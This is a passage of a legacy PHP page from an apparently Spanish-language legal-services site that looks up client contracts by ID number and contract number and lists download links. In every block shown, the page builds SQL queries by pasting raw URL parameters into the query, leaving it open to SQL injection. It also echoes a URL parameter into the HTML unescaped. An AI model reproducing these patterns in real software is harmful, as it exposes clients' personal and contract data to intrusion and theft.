File: /home/asjudine/www/Visualizar_Contratos_Titular.php
<?PHP
require_once("mainfile.php");
include ("config.php");
global $dbi;
require_once("Conectarse.php");
?>
<html>
<head>
<title>Documento sin título</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script languaje="JavaScript">
function Mostrar_Fecha()
{
var mydate=new Date()
var year=mydate.getYear()
if(year < 1000)
year+=1900
var day=mydate.getDay()
var month=mydate.getMonth()
var daym=mydate.getDate()
if (daym < 10)
daym="0"+daym
var dayarray=new Array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sabado")
var montharray=new Array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre")
document.write("<b><font face='Arial, Helvetica, sans-serif'>"+dayarray[day]+" "+daym+" de "+montharray[month]+" de "+year+"</font></b>")
}
</script>
<style type="text/css">
<!--
.Estilo1 {
color: #000099;
font-family: Arial, Helvetica, sans-serif;
font-weight: bold;
}
body {
background-image: url(ELEMENTOS/gris13.jpg);
}
.Estilo7 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; }
.Estilo8 {font-size: 14px}
.Estilo13 {font-size: 10px; color: #990000; }
.Estilo14 {color: #990000}
.Estilo15 {font-size: 10px}
-->
</style>
</head>
<body>
<form method="post" name="formulario" action="Mostrar_Texto.php">
<center> <img src="ELEMENTOS\CABEZOTE SERVIASJUDINET.jpg" WIDTH=100% height="106" > </center>
<table width="726" align="center">
<tr bgcolor="#0099FF">
<td colspan="3"><div align="center" class="Estilo1">CONSULTA DE CONTRATOS</div></td>
</tr>
<tr bgcolor="#FFFFCC">
<td colspan="3"><div align="center">
<script languaje="JavaScript">Mostrar_Fecha()</script>
</div></td>
</tr>
<tr>
<td> </td>
<td width="349" colspan="2"> </td>
</tr>
<tr bgcolor="#ECE9D8">
<td colspan="3">
<center>
<span id="TexteBat" style="width:100%">
<h1><font color="RED">PARA VISUALIZAR SU CONTRATO DE CLICK EN DESCARGAR</font></h1>
</span>
</center>
</center>
<?php
require_once("mainfile.php");
include ("config.php");
global $dbi;
if ($_GET["tipo"]=="COA01" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_COA01 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>
");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 2
if ($_GET["tipo"]=="COA02" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_COA02 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>
");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 3
if ($_GET["tipo"]=="EJC1" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_EJC1 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 4
if ($_GET["tipo"]=="EJC2" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_EJC1 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>TIPO DE ARCHIVO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[5]."</span></div></td></tr>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 5
if ($_GET["tipo"]=="LITI" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_LITI WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>
");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 6
if ($_GET["tipo"]=="PCP" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_PCP WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 7
if ($_GET["tipo"]=="PFM" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_PFM WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 8
if ($_GET["tipo"]=="PIP" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_PIP WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 9
if ($_GET["tipo"]=="PME" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_PME WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 10
if ($_GET["tipo"]=="PPE" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_PPE WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 11
if ($_GET["tipo"]=="SCP1" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SCP1 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 12
if ($_GET["tipo"]=="SCP2" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SCP2 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 13
if ($_GET["tipo"]=="SCP3" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SCP3 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td> ");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 14
if ($_GET["tipo"]=="SFM" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SFM WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 15
if ($_GET["tipo"]=="SIP" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SIP WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 16
if ($_GET["tipo"]=="SJ01" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SJ01 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
